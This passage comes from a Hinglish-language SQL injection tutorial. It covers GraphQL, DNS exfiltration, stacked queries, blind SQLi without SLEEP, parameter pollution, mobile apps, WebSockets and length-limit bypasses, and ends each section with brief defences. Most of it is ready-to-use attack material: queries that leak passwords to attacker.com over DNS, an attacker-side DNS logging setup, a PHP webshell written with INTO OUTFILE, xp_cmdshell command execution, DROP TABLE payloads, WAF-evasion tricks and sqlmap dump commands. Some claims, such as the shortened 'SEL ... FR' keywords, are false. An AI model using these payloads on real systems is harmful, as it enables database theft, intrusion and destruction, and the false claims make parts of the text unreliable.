🛑 Time-Based Query Example (MySQL)


query {
user(id: "1' AND IF(ASCII(SUBSTRING(password,1,1))=97, SLEEP(5), 1)='1") {
name
email
}
}

✅ Agar server 5 seconds delay kare, toh first character 'a' (ASCII = 97) hai!

🔹 3. Detecting GraphQL SQL Injection via SQLmap

Agar GraphQL API vulnerable hai, toh SQLmap se automated SQL Injection possible hai.

✅ Basic SQL Injection Scan on GraphQL Endpoint:


sqlmap -u "http://target.com/graphql" --data '{"query":"{user(id:\"1\") {name
email}}"}' --batch --dbs

✅ Agar SQLi possible hai, toh SQLmap automatically databases enumerate karega!

✅ Extracting User Table Data using SQLmap:

sqlmap -u "http://target.com/graphql" --data '{"query":"{user(id:\"1\") {name


email}}"}' --batch --dump

✅ Is command se users table ke username/password hashes dump ho jayenge!

🔹 4. Bypassing GraphQL Security Filters (WAF Bypass)

Agar WAF ya input filtering enabled ho, toh GraphQL specific evasion techniques ka use kar
sakte hain.

✅ GraphQL Query Name Obfuscation (Bypass Filters)

query getUserInfo {
user(id: "1' OR '1'='1") {
name
email
}
}

✅ GraphQL Alias Usage for Bypass

query {
userInfo: user(id: "1' OR '1'='1") {
name
email
}
}

✅ GraphQL Fragment Attack for WAF Evasion

query {
...userDetails
}

fragment userDetails on User {


name
email
}

Ye techniques WAF filtering bypass karne me help karti hain!


🔹 5. Securing GraphQL APIs Against SQL Injection

✅ 1. Parameterized Queries Use Karo

query getUser($id: ID!) {


user(id: $id) {
name
email
}
}

✅ 2. Input Validation & Whitelisting

• User inputs ko sanitize & validate karo.


• GraphQL Introspection disable karo production me.

✅ 3. Web Application Firewall (WAF) Enable Karo

• GraphQL-specific WAF rules configure karo.

✅ 4. Logging & Monitoring Enable Karo

• SQL Injection detection ke liye SIEM aur alerting system setup karo.

🔹 Conclusion

✅ GraphQL me SQL Injection possible hai agar input validation weak ho.
✅ Attacker UNION, boolean-based, aur time-based attacks use kar sakta hai.
✅ Proper parameterized queries aur WAF rules se GraphQL SQLi prevent kiya ja sakta
hai.
9. DNS Exfiltration using SQL Injection
🔹 Introduction to DNS Exfiltration via SQLi

DNS Exfiltration ek data exfiltration technique hai jo SQL Injection ke through sensitive
data leak karne ke liye use hoti hai. Is method me attacker database se data extract karke
usse DNS queries ke through apne server tak pahuchata hai, jo firewall aur WAF ko bypass
karne me madad karta hai.

✅ DNS Exfiltration Kaam Kaise Karta Hai?

1. Attacker ek malicious SQL query inject karta hai jo database ka data DNS lookup ke form
me convert karti hai.
2. SQL query DNS request generate karti hai (e.g., password.attacker.com).
3. Server DNS request resolve karta hai aur attacker ka malicious DNS server is request ko
capture kar leta hai.
4. Attacker ko sensitive data DNS logs me mil jata hai.

✅ Real-World Usage:

• Firewall/IPS bypass karne ke liye


• Data leak hone ka proof collect karne ke liye (Bug Bounty/CTF)
• Network monitoring aur security testing

🔹 1. DNS Exfiltration via SQL Injection (Basic Example)

Agar ek database vulnerable hai aur external DNS resolution allowed hai, toh hum data DNS
request ke through exfiltrate kar sakte hain.

🛑 SQL Injection Payload for DNS Exfiltration (MySQL)


SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1),
'.attacker.com\\x00'));

✅ Kya Hoga?

• Database query password extract karegi.


• Password DNS request ke form me attacker ke server tak chala jayega:
• password123.attacker.com
• Attacker apne DNS logs me data extract kar sakta hai.
🔹 2. Advanced DNS Exfiltration (Extracting Full Database Data)

Agar multiple records extract karne hain, toh hum GROUP_CONCAT() aur MID() functions ka
use kar sakte hain.

🛑 Extracting Table Names via DNS (MySQL)


SELECT LOAD_FILE(CONCAT('\\\\',(SELECT GROUP_CONCAT(table_name) FROM
information_schema.tables WHERE table_schema=database()),
'.attacker.com\\x00'));

✅ Attacker ko ye request milegi:

users_orders_admin.attacker.com

✅ Isse attacker ko table names ka pata lag jayega!

🛑 Extracting Usernames & Passwords via DNS


SELECT LOAD_FILE(CONCAT('\\\\',(SELECT GROUP_CONCAT(username, ':', password)
FROM users), '.attacker.com\\x00'));

✅ Attacker ke DNS logs me:

admin:pass123.userdata.attacker.com

Ab attacker credentials extract kar sakta hai!

🔹 3. Automating DNS Exfiltration using SQLmap

Agar SQLmap se automated DNS exfiltration karni ho, toh ye command use kar sakte hain:

sqlmap -u "http://target.com/page.php?id=1" --dns-domain=attacker.com --batch

✅ SQLmap automatically DNS queries generate karega aur data exfiltrate karega!
🔹 4. Setting Up a Malicious DNS Server (Attacker-Side)

Agar attacker apne server par DNS logs collect karna chahta hai, toh use DNS server setup
karna hoga.

🛑 Attacker Side: DNS Server Setup (Linux)


sudo apt install bind9 -y
sudo nano /etc/bind/named.conf.options

Is file me malicious domain (attacker.com) ke liye logging enable karo:

logging {
channel dns_log {
file "/var/log/dns_exfil.log";
severity info;
};
category queries { dns_log; };
};

Phir service restart karo:

sudo systemctl restart bind9

✅ Ab attacker logs me exfiltrated data dekh sakta hai!

🔹 5. Bypassing Firewalls using DNS Exfiltration

Agar network firewall ya IPS laga hai, toh attacker DNS tunneling use kar sakta hai.

✅ Common Firewall Bypass Techniques:

1. Subdomain Encoding – Data ko base32 ya hex encode karke chhoti subdomains me


bhejna.
2. DNS Caching Exploitation – Firewalls ko bypass karne ke liye slow exfiltration.
3. Using Different Query Types – TXT, MX, CNAME records ka use karna.

Example:

SELECT LOAD_FILE(CONCAT('\\\\',HEX(password),'.attacker.com\\x00'));

✅ Attacker ke logs me data HEX format me milega.


🔹 6. Defending Against DNS Exfiltration via SQL Injection

✅ 1. External DNS Resolution Disable Karo

• MySQL ke liye:

SET GLOBAL skip_name_resolve = ON;

• PostgreSQL me:

ALTER SYSTEM SET client_hostname_lookup = 'off';

✅ 2. Parameterized Queries Use Karo

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");


$stmt->execute([$id]);

✅ 3. DNS Logging Enable Karo

• Agar suspicious DNS requests detect hoti hain (password.attacker.com), toh alert
generate karo.

✅ 4. Web Application Firewall (WAF) Enable Karo

• ModSecurity aur Cloudflare WAF enable karo jo SQLi aur DNS exfiltration detect kare.

🔹 Conclusion

✅ SQL Injection ke through DNS exfiltration attacker ko firewall aur WAF bypass karne
me help karti hai.
✅ Attacker LOAD_FILE(), CONCAT() aur HEX() functions ka use karke data chhupakar
DNS request me send kar sakta hai.
✅ Proper security measures jaise ki DNS logging aur external DNS resolution block
karke isko prevent kiya ja sakta hai.
10. Real-Life SQL Injection Challenges (CTF & Bug Bounty)
– Continued
🔹 1. CTF SQL Injection Challenges

CTF (Capture The Flag) competitions me SQLi challenges 3 types ke hote hain:

✅ A. Basic SQL Injection (Error-Based SQLi)

Example Scenario:
Ek CTF challenge me login form diya gaya hai jo SQL Injection ke liye vulnerable hai:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

🔹 Challenge: Admin Login Bypass

Agar username field me admin' -- inject karein toh query modify ho jayegi:

SELECT * FROM users WHERE username = 'admin' --' AND password = '';

✅ Solution (Payload):

Username: admin' --
Password: [Blank]

Result: Admin panel ka access mil gaya!

✅ B. Blind SQL Injection Challenge

Agar error messages disable ho, toh Boolean-based SQLi use karni padegi.

🔹 Challenge: Extracting Database Name

CTF website ke id parameter me SQL Injection possible hai:

http://ctfsite.com/profile.php?id=1

Hum Boolean-based SQLi use karenge:


http://ctfsite.com/profile.php?id=1' AND (SELECT database())='ctfdb' --+

✅ If True: Page load hota hai → database() ka naam ctfdb hai!


✅ If False: Page error show karta hai.

✅ C. Time-Based Blind SQL Injection (Advanced Challenge)

Agar Boolean-based SQLi block ho toh SLEEP() function ka use karke time delay create kar
sakte hain.

🔹 Challenge: Checking for SQL Injection


http://ctfsite.com/profile.php?id=1' OR IF(1=1, SLEEP(5), 0) --+

✅ If vulnerable: Page 5 second delay ke sath load hoga.


✅ If not vulnerable: Page instantly load hoga.

🔹 2. SQL Injection in Bug Bounty (Real-Life Examples)

Bug bounty me SQLi ka real-world applications me hunting hoti hai.

✅ A. SQL Injection in API (GraphQL Example)

Bug Bounty me GraphQL APIs bhi SQLi ke liye vulnerable hoti hain.

🔹 Challenge: Extracting Users Table

Agar GraphQL query me SQL Injection ho, toh hum ' UNION SELECT table_name FROM
information_schema.tables -- ka use kar sakte hain.

✅ Payload:

{
"query": "query { user(id: \"1' UNION SELECT table_name FROM
information_schema.tables --\") { id, name }}"
}

Result: API response me table names return ho jayenge.


✅ B. SQL Injection in Mobile App (Android)

Bug Bounty programs me Android apps ka backend bhi SQLi vulnerable hota hai.
Example: Agar ek mobile app ka login request SQLi vulnerable ho:

🔹 Testing SQLi in Login Request


POST /api/login
Content-Type: application/json

{
"username": "admin' --",
"password": "password123"
}

✅ If vulnerable: Server SQL error return karega ya admin login ho jayega.

🔹 3. Automating SQL Injection Hunting in Bug Bounty

Bug bounty me SQLmap aur Burp Suite ka use karke SQLi automate kar sakte hain.

✅ SQLmap se SQLi test karna:

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

✅ Burp Suite me Intruder Setup karke SQLi test karna.

🔹 4. SQL Injection Bug Bounty Reports ($$$$$ Earn!)

Bug Bounty programs me SQLi vulnerabilities report karke paise kama sakte hain.

✅ Top platforms:

• HackerOne
• Bugcrowd
• Synack
• Open Bug Bounty

Ek achi SQLi bug report example:

Title: SQL Injection in /profile.php?id=


Impact: Database leak, user credentials exposure
Steps to Reproduce:
1. Open `http://target.com/profile.php?id=1' OR 1=1 --+`
2. Observe SQL error revealing database structure.
3. Try `UNION SELECT username, password FROM users --`

✅ Bug Bounty payout: $500 - $5000 depending on impact!

🔹 Conclusion

✅ CTF aur Bug Bounty me SQL Injection hunting karna ek real-world skill hai jo ethical
hackers ke liye important hai.
✅ Automation tools (SQLmap, Burp Suite) use karke SQLi hunting ko fast aur efficient
banaya ja sakta hai.
✅ Proper bug reports likhne se $1000+ ka bounty earn kar sakte hain.

11. Stacked Queries (Multiple Statements Execution)


🔹 Introduction

Stacked queries ka matlab hai multiple SQL statements ek sath execute karna. Ye advanced
SQL Injection technique hai jo sirf kuch specific databases me kaam karti hai.

✅ Supported Databases for Stacked Queries:

• MySQL (Limited support)


• PostgreSQL
• Microsoft SQL Server (MSSQL)
• Oracle DB

Not Supported in: SQLite, MongoDB (NoSQL), MariaDB

🔹 How Stacked Queries Work?

Agar application multiple SQL statements ko execute karne allow karti hai, toh attacker ek
query ke sath doosri malicious query bhi inject kar sakta hai.
✅ Example:

SELECT * FROM users WHERE id=1; DROP TABLE users;

Agar backend stacked queries allow karta hai, toh ye users table delete kar dega!

🔹 1. Stacked Queries for Privilege Escalation

Agar SQL Injection vulnerable hai, toh attacker apne privileges badhakar root ya admin
rights le sakta hai.

✅ Example: Granting Admin Privileges (MSSQL)

1; UPDATE users SET role='admin' WHERE username='attacker' --

Result: attacker user ko admin rights mil jayenge!

🔹 2. Stacked Queries for Data Extraction

Agar application stacked queries allow karti hai, toh database ka pura data extract kiya ja
sakta hai.

✅ Example: Extracting Database Version (MySQL)

1; SELECT version() --

Result: Database ka version return hoga!

✅ Example: Extracting All Usernames & Passwords (PostgreSQL)

1; SELECT username, password FROM users --

Result: Sabhi users ke usernames & passwords mil jayenge!

🔹 3. Stacked Queries for Shell Access (RCE)

Agar database se system commands execute ho sakti hain, toh attacker remote shell access bhi
le sakta hai.
✅ Example: Remote Code Execution (MSSQL)

1; EXEC xp_cmdshell 'whoami' --

Result: Current user ka system username return hoga!

✅ Example: Creating a Backdoor (MySQL + PHP Webshell)

1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE


'/var/www/html/shell.php' --

Result:
Website ke /shell.php URL me cmd parameter ke through OS commands execute ho sakti
hain!

🔹 4. Stacked Queries in SQLmap

SQLmap ka use karke automatic stacked queries execute kar sakte hain.

✅ Command:

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --stacked-queries

Result: Agar stacked queries supported hain toh database se data dump ho jayega!

🔹 5. How to Prevent Stacked Query Attacks?

1. Use Prepared Statements (Parameterized Queries)


2. Disable Multiple Statements Execution in Database
3. Use Web Application Firewall (WAF)
4. Monitor Logs for Suspicious Queries

🔹 Conclusion

✅ Stacked queries ka use karke attacker ek sath multiple SQL commands execute kar
sakta hai.
✅ Ye technique database privilege escalation, data exfiltration aur RCE ke liye use hoti
hai.
✅ SQLmap ka use karke stacked queries ka exploitation automate kar sakte hain.
✅ Security best practices ko follow karke stacked queries ka misuse roka ja sakta hai.

12. Time-Based Blind SQL Injection Without Sleep()


🔹 Introduction

Time-Based Blind SQL Injection tab kaam aati hai jab error messages hide hon aur response
me koi difference na dikhe. Is case me, time delay create karke SQLi vulnerability detect
karni hoti hai.

Lekin, kuch Web Application Firewalls (WAFs) aur Security Filters SLEEP() function ko
block kar dete hain. Toh bina SLEEP() function ka use kiye time delay kaise create karein?

🔹 1. Traditional Time-Based Blind SQL Injection (With SLEEP())

Agar SLEEP() function allow ho, toh attacker 5-second delay create kar sakta hai:

✅ Example (MySQL):

1' OR IF(1=1, SLEEP(5), 0) --+

✅ Example (PostgreSQL):

1' OR CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --+

Result: Agar page 5 second tak load hota hai, toh SQLi vulnerability confirm ho jati hai.

🔹 2. Alternative Methods Without SLEEP() (Continued)


✅ A. Heavy Query Execution for Delay

Agar SLEEP() function block ho, toh complex queries execute karke delay create kiya ja
sakta hai.

✅ Example (MySQL - Large Query Execution)


1' OR (SELECT COUNT(*) FROM information_schema.tables,
information_schema.tables AS t2, information_schema.tables AS t3) --+

Result:

• information_schema.tables ek bari table hai jo database ki saari tables ka metadata


store karti hai.
• Jab multiple joins lagaye jate hain, toh query execution slow ho jata hai, aur time delay
create hota hai.
• Agar page zyada time le raha hai load hone me, toh SQLi confirm ho jati hai!

✅ B. Logical Time Delay Using BENCHMARK() (MySQL Only)

BENCHMARK() function CPU-heavy computations execute karta hai, jo query processing slow kar
deta hai.

✅ Example:

1' OR BENCHMARK(5000000, MD5('test')) --+

✅ Alternative (Longer Delay)

1' OR BENCHMARK(10000000, SHA1(RAND())) --+

Result:

• BENCHMARK(n, expression) n times expression execute karta hai, jo CPU pe heavy


load dalta hai.
• Agar query execute hone me zyada time lag raha hai, toh SQLi confirm ho jati hai.

✅ C. Heavy Sorting Using ORDER BY RAND() (MySQL & PostgreSQL)

Agar application me sorting query vulnerable hai, toh random sorting ka use karke time delay
create kiya ja sakta hai.

✅ Example:

1' ORDER BY RAND() --+

✅ Alternative (PostgreSQL)
1' ORDER BY random() --+

Result:

• RAND() ya random() ka use karke database ka sorting process slow ho jata hai.
• Agar query execution slow ho jaye, toh SQLi vulnerability confirm ho jati hai.

✅ D. Time Delay Using Conditional Subqueries (PostgreSQL & MSSQL)

Agar SLEEP() blocked ho, toh subqueries execute karke time delay force kiya ja sakta hai.

✅ Example (PostgreSQL - Heavy Subquery Execution)

1' OR (SELECT COUNT(*) FROM generate_series(1, 10000000))>0 --+

Result:

• generate_series(1, 10000000) ek bari virtual table create karti hai, jo query


execution slow kar deti hai.

✅ Example (MSSQL - CPU Heavy Computation)

1' OR (SELECT 1 FROM sys.all_objects CROSS JOIN sys.all_objects a2 CROSS JOIN


sys.all_objects a3) --+

Result:

• sys.all_objects ek system table hai jo sabhi objects (tables, views, procedures) ka


metadata store karti hai.
• Iska CROSS JOIN lagane se query execution kaafi slow ho jata hai.

✅ E. Time Delay Using Large String Processing (MySQL, PostgreSQL, MSSQL)

Agar application me string processing allowed ho, toh REPEAT() ya REPLICATE() ka use karke
delay create kar sakte hain.

✅ Example (MySQL - REPEAT Function)

1' OR REPEAT('A', 10000000) --+

✅ Example (MSSQL - REPLICATE Function)


1' OR REPLICATE('A', 10000000) --+

Result:

• REPEAT() ya REPLICATE() ek bari string generate karta hai, jo query execution slow kar
deta hai.

🔹 3. Automating Time-Based SQLi (Without SLEEP())

Agar manual testing slow ho, toh SQLmap ka use karke automatic time delay-based SQLi detect
kar sakte hain.

✅ SQLmap Command (Without SLEEP Function):

sqlmap -u "http://target.com/page.php?id=1" --technique=T --dbms=mysql --


batch

✅ Using --time-sec Flag for Custom Delay Detection

sqlmap -u "http://target.com/page.php?id=1" --technique=T --dbms=mysql --


time-sec=10

Result:

• Agar page load hone me delay ho raha hai, toh SQLi vulnerability confirm hoti hai.
• SQLmap automatically alternative methods (BENCHMARK(), ORDER BY RAND(), Heavy
Queries) detect karega.

🔹 4. How to Prevent Time-Based Blind SQL Injection?

1. Use Prepared Statements (Parameterized Queries)


2. Disable Functions like BENCHMARK(), SLEEP(), and ORDER BY RAND()
3. Monitor Query Execution Time for Anomalies
4. Use Web Application Firewall (WAF) to Detect Slow Query Attacks
🔹 Conclusion

✅ Agar SLEEP() block ho, toh bhi alternative techniques se SQLi detect kar sakte hain.
✅ Heavy query execution, sorting, large string processing, aur BENCHMARK() function
ka use karke time delay force kiya ja sakta hai.
✅ SQLmap ka use karke automated time-based SQLi detection possible hai.
✅ Security measures implement karke time-based SQL Injection attacks prevent kiya ja
sakta hai.

13. HTTP Parameter Pollution (HPP) with SQL Injection


🔹 Introduction

HTTP Parameter Pollution (HPP) ek attack technique hai jisme ek hi HTTP request me
multiple parameters inject kiye jate hain, jo backend processing ko confuse kar sakte hain.
Agar application SQL Injection vulnerable hai, toh HPP aur SQLi ko combine karke firewall
bypass aur complex attacks perform kiye ja sakte hain.

✅ HPP SQL Injection ka use karke:

• WAF (Web Application Firewall) bypass kiya ja sakta hai


• Multiple parameter-based SQLi exploit ho sakti hai
• Log evasion aur security monitoring se bachne me madad mil sakti hai

🔹 1. Understanding HTTP Parameter Pollution


🔹 A. Normal SQL Injection Example

Agar koi website vulnerable hai aur SQLi allow karti hai:
✅ Example Request:

GET /search.php?q=apple' OR 1=1 --+

Result: Agar q parameter SQLi vulnerable hai, toh sabhi records return ho jayenge.
🔹 B. HPP-Based SQL Injection Example

Agar application multiple duplicate parameters ko handle nahi karti, toh HPP ka use karke
WAF bypass kiya ja sakta hai.

✅ Example:

GET /search.php?q=apple&q=' OR 1=1 --+

Result:

• Agar backend pehla parameter ignore karke doosre ko process karta hai, toh SQLi
execute ho sakti hai.
• Kuch WAF rules sirf pehla parameter check karte hain, jo HPP aur SQLi ko ek powerful
bypass technique banata hai.

🔹 2. HPP with SQL Injection – Real-World Attack Scenarios


🔹 A. HPP-Based Authentication Bypass

Agar login page SQLi vulnerable hai:


✅ Normal SQLi:

POST /login.php HTTP/1.1


username=admin' --+&password=12345

Result: Agar application admin' --+ ko valid user maan leti hai, toh authentication bypass
ho sakta hai.

✅ HPP-Based SQLi Bypass:

POST /login.php HTTP/1.1


username=admin&username=admin' --+&password=12345

Result:

• Agar backend do alag-alag username parameters handle kar raha hai, toh doosra
parameter SQLi execute kar sakta hai.
• WAF sirf pehle parameter ko filter karega, doosre ko nahi!
🔹 B. SQL Injection with HPP in GET Requests

Kuch websites duplicate parameters handle nahi karti, jo HPP aur SQLi ke combination ko
exploit hone deti hai.

✅ Example (Bypassing WAF Using HPP):

GET /product.php?id=10&id=10' UNION SELECT null, username, password FROM


users --+

Result:

• Agar application sirf last id parameter process kare, toh SQLi execute ho sakti hai.
• WAF sirf pehla id parameter filter karega, jo bypass hone dega.

🔹 C. HPP with SQL Injection in JSON API Requests

Agar API JSON data accept karti hai, toh HPP ka use karke SQLi inject kiya ja sakta hai.

✅ Example (JSON-Based SQLi Bypass):

{
"username": "admin",
"username": "admin' --+",
"password": "test123"
}

Result:

• Agar backend sirf last username process kare, toh SQLi execute ho sakti hai.
• Security filters sirf pehla username check karenge, jo bypass hone dega.

🔹 3. Automating HPP with SQL Injection

Agar manual testing slow ho, toh SQLmap aur custom scripts ka use karke automated HPP-
based SQLi test kiya ja sakta hai.

✅ SQLmap Command:

sqlmap -u "http://target.com/search.php?q=apple&q=test" --batch --dbs


✅ Using Custom Headers for Bypassing WAF:

sqlmap -u "http://target.com/api/login" --
data="username=admin&username=admin'--+&password=12345" --batch

Result:

• Agar application HPP-based duplicate parameters handle nahi karti, toh SQLi execute
ho sakti hai.

🔹 4. How to Prevent HPP-Based SQL Injection?

1. Always use Prepared Statements & Parameterized Queries


2. Duplicate HTTP parameters ko properly handle karein
3. Web Application Firewall (WAF) me HPP detection enable karein
4. Logs me multiple duplicate parameters detect karein
5. API security best practices follow karein

🔹 Conclusion

✅ HTTP Parameter Pollution aur SQL Injection ka combination powerful attacks


perform kar sakta hai.
✅ Is technique ka use karke WAF bypass, authentication bypass aur SQLi exploitation
possible hai.
✅ Automation tools jaise SQLmap ka use karke HPP-based SQLi automate kiya ja sakta
hai.
✅ Security best practices adopt karke is attack ko prevent kiya ja sakta hai.

14. SQL Injection in Mobile Apps (Android & iOS)


🔹 Introduction

Mobile applications (Android & iOS) bhi SQL Injection ke against vulnerable ho sakti hain
agar:
✅ User input ka proper validation na ho
✅ Insecure SQLite queries use ki ja rahi ho
✅ Web APIs (Backends) SQLi vulnerable ho
✅ Local database (SQLite) encryption na ho

Mobile apps me SQLi direct aur indirect dono tarike se exploit ho sakti hai. Aaj hum dono
methods ko explore karenge aur dekhenge ki kis tarah se mobile applications vulnerable ho
sakti hain.

🔹 1. Direct SQL Injection in Local Databases (SQLite)

Mobile apps SQLite database use karti hain, jo agar unsafe queries execute karti hain, toh
SQLi vulnerable ho sakti hain.

✅ Example: Insecure SQLite Query in an Android App

String query = "SELECT * FROM users WHERE username = '" + user_input + "' AND
password = '" + pass_input + "'";
db.rawQuery(query, null);

Problem:

• User input direct SQL query me concatenate ho raha hai, jo SQL Injection allow karta
hai.
• Agar koi malicious input pass kare, toh SQL queries modify ho sakti hain.

✅ Example Exploit:

' OR '1'='1

Result:

• Agar password check vulnerable ho, toh bina password ke login ho jayega.

🔹 2. Exploiting SQL Injection in Android Apps (SQLite)

Agar ek Android app SQLite vulnerable ho, toh hum SQL Injection test kar sakte hain:

✅ Step 1: Android App ka .apk File Extract Karo


apktool d vulnerable_app.apk -o output_folder

✅ Step 2: strings.xml aur smali Code Analyze Karo

grep -r "SELECT * FROM" output_folder/

✅ Step 3: Vulnerable Query Dhundho aur Exploit Karo


Agar query user input concatenate kar rahi hai, toh app vulnerable ho sakti hai.

✅ Step 4: adb shell ka use karke SQL Injection Test Karo

adb shell
sqlite3 /data/data/com.vulnerable.app/databases/users.db

✅ Step 5: Manual SQL Query Inject Karo

SELECT * FROM users WHERE username = '' OR '1'='1';

Result:

• Agar query execute ho gayi, toh SQLi successful hai.

🔹 3. Indirect SQL Injection via Web APIs (REST & GraphQL)

Mobile apps mostly backend APIs ke sath communicate karti hain, jisme SQL Injection hone
ka chance hota hai.

✅ Example API Request (REST API - Login)

POST /api/login HTTP/1.1


Host: vulnerableapp.com
Content-Type: application/json

{
"username": "admin",
"password": "password123"
}

Problem:

• Agar backend parameterized queries na use kare, toh SQL Injection ho sakti hai.

✅ Exploiting API SQL Injection (Using Burp Suite)

{
"username": "admin' OR '1'='1",
"password": "test"
}

Result:

• Agar API SQL Injection vulnerable ho, toh bina credentials ke login ho sakta hai.

✅ SQLmap Use Karke Automated Exploitation

sqlmap -u "http://vulnerableapp.com/api/login" --
data="{\"username\":\"admin\",\"password\":\"password\"}" --dbs --batch

Result:

• SQLmap automatic injection test karke databases ka access de sakta hai.

🔹 4. Automated SQL Injection Testing in Mobile Apps


A. Using MobSF for Automated Security Testing

MobSF (Mobile Security Framework) ek powerful tool hai jo SQL Injection vulnerabilities
detect karne ke liye use hota hai.

✅ Step 1: MobSF Install Karo

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git


cd Mobile-Security-Framework-MobSF
docker-compose up

✅ Step 2: .apk ya .ipa File Upload Karo

• Web Interface Open Karo (http://localhost:8000)


• Android/iOS App Upload Karo
• Static Analysis Report Check Karo

✅ Step 3: SQL Injection Vulnerabilities Identify Karo

• rawQuery() aur execSQL() jese functions check karo.


• Hardcoded SQL Queries aur insecure database access identify karo.
🔹 5. How to Prevent SQL Injection in Mobile Apps?

✅ Use Parameterized Queries (Secure Coding Practice)


❌ Wrong (Insecure Query - Vulnerable to SQLi)

String query = "SELECT * FROM users WHERE username = '" + user_input + "'";
db.rawQuery(query, null);

✅ Right (Secure Query - Using Parameterized Queries)

String query = "SELECT * FROM users WHERE username = ?";


Cursor cursor = db.rawQuery(query, new String[]{user_input});

✅ Use Web API Security Best Practices

• Input validation implement karo.


• WAF (Web Application Firewall) use karo.
• Logging aur monitoring enable karo.

🔹 Conclusion

✅ Mobile apps me SQL Injection kaafi common vulnerability hai, specially SQLite aur
backend APIs me.
✅ Agar mobile apps user input ko directly SQL queries me concatenate karti hain, toh
SQLi ka risk hota hai.
✅ API vulnerabilities exploit karke remote SQL Injection bhi possible hai.
✅ MobSF aur SQLmap ka use karke automated SQLi testing ki ja sakti hai.
✅ Secure coding practices adopt karke mobile apps ko SQLi se bachaya ja sakta hai.

15. SQL Injection via WebSockets


🔹 Introduction

WebSockets ek real-time communication protocol hai jo client aur server ke beech persistent
connection maintain karta hai. Agar server-side WebSocket implementation insecure ho, toh
SQL Injection ka risk hota hai.
Example Use Cases:

• Real-time chat applications


• Stock market live data streaming
• Gaming servers for multiplayer synchronization
• IoT (Internet of Things) real-time device communication

Agar WebSocket requests properly validate nahi hoti, toh attackers SQL Injection execute kar
sakte hain.

🔹 1. WebSockets & SQL Injection Vulnerability

WebSockets HTTP jaisa kaam nahi karta, isme ws:// ya wss:// protocol use hota hai.

✅ Example: Vulnerable WebSocket Message Handling (Node.js & MySQL)

const WebSocket = require('ws');


const mysql = require('mysql');

const connection = mysql.createConnection({


host: "localhost",
user: "root",
password: "",
database: "users_db"
});

const wss = new WebSocket.Server({ port: 8080 });

wss.on("connection", ws => {
ws.on("message", message => {
let query = `SELECT * FROM users WHERE username = '${message}'`;
connection.query(query, (error, results) => {
if (error) throw error;
ws.send(JSON.stringify(results));
});
});
});

Problem:

• User input (message) SQL query me directly concatenate ho raha hai, jo SQL Injection
allow karta hai.

✅ Potential SQL Injection Payloads:

' OR '1'='1
'; DROP TABLE users; --
Result:

• Attacker bina credentials ke login kar sakta hai.


• Attacker entire database delete kar sakta hai!

🔹 2. Manual SQL Injection Testing in WebSockets

✅ Step 1: WebSockets Intercept Karo (Burp Suite ka Use Karke)

• Burp Suite open karo


• Proxy → WebSockets section open karo
• WebSocket communication intercept karo

✅ Step 2: SQL Injection Payload Inject Karo

{
"username": "' OR '1'='1"
}

✅ Step 3: Response Analyze Karo


Agar database queries manipulate ho rahi hain, toh WebSocket vulnerable hai.

🔹 3. Automated SQL Injection in WebSockets using SQLmap

SQLmap WebSockets ko bhi exploit kar sakta hai.

✅ Step 1: WebSocket request ka traffic capture karo (Burp Suite se save karo)
✅ Step 2: SQLmap se exploit karo

sqlmap -u "ws://vulnerable.com/socket" --data="username=admin" --dbs --batch

Result:

• Agar WebSockets SQLi vulnerable hai, toh SQLmap databases list kar dega.
• Exploitation possible hai error-based, time-based, aur boolean-based blind SQL
Injection ke saath.
🔹 4. How to Prevent SQL Injection in WebSockets?

✅ Use Parameterized Queries (Secure Coding Practice)


❌ Wrong (Insecure Query - Vulnerable to SQLi)

let query = `SELECT * FROM users WHERE username = '${message}'`;

✅ Right (Secure Query - Using Parameterized Queries)

let query = "SELECT * FROM users WHERE username = ?";


connection.query(query, [message], (error, results) => { ... });

✅ Use WebSockets Security Best Practices

• Input validation implement karo.


• Web Application Firewall (WAF) enable karo.
• SQL Injection Prevention Libraries use karo.
• Real-time monitoring aur logging implement karo.

🔹 Conclusion

✅ WebSockets agar secure na ho, toh SQL Injection ka major risk hota hai.
✅ Agar user input WebSockets me directly SQL queries me inject ho, toh attacker
database manipulate kar sakta hai.
✅ Manual aur automated (SQLmap) testing karke WebSocket SQLi vulnerabilities find
ki ja sakti hain.
✅ Secure coding practices aur input validation se SQLi ko prevent kiya ja sakta hai.

16. Bypassing Length Restrictions in SQL Injection


🔹 Introduction

Kayi web applications aur firewalls input length restrict kar deti hain (e.g., 10-20 characters
tak hi input allow hota hai). Agar attacker full SQL injection payload nahi dal sakta, toh woh
length bypass techniques use karke attack perform kar sakta hai.
Example Use Cases:

• Agar input field me sirf 10 characters allow hain


• Agar WAF (Web Application Firewall) ya IDS (Intrusion Detection System) payload ka
size limit karta hai
• Agar database query truncation ho raha hai

Aaj hum real-world scenarios aur bypassing techniques dekhenge.

🔹 1. Common Length Restrictions in SQL Injection

✅ Example: WAF Blocks Long Payloads

' UNION SELECT username, password FROM users; --

Error: Input field sirf 10 characters tak hi accept kar raha hai!

✅ Example: Application Truncates Query

' OR 1=1 --

Agar server sirf pehle 10 characters padhta hai, toh query incomplete ho sakti hai.

🔹 2. Techniques to Bypass Length Restrictions


1⃣ Shortening SQL Keywords

SQL queries me kuch keywords ka short version bhi hota hai.

✅ Normal Query:

SELECT username FROM users WHERE id=1

✅ Shortened Query:

SEL username FR users W id=1

Agar application partial SQL keywords accept karti hai, toh shortened version se SQLi
execute ho sakta hai.
2⃣ Using Inline Comments for Truncation

Inline comments (/**/) ka use karke payload ka size kam kiya ja sakta hai.

✅ Normal Query (Blocked Due to Length):

' OR '1'='1' --

✅ Shortened Query (Bypassing Length Limit):

'/**/OR/**/'1'/**/LIKE/**/'1

Benefit:

• SQL parser isko valid query maan lega


• WAF ya firewall detect nahi kar paayega

3⃣ Using CHAR() Function Instead of Strings

Agar single quotes ya double quotes block ho rahi hain, toh CHAR() function ka use karke
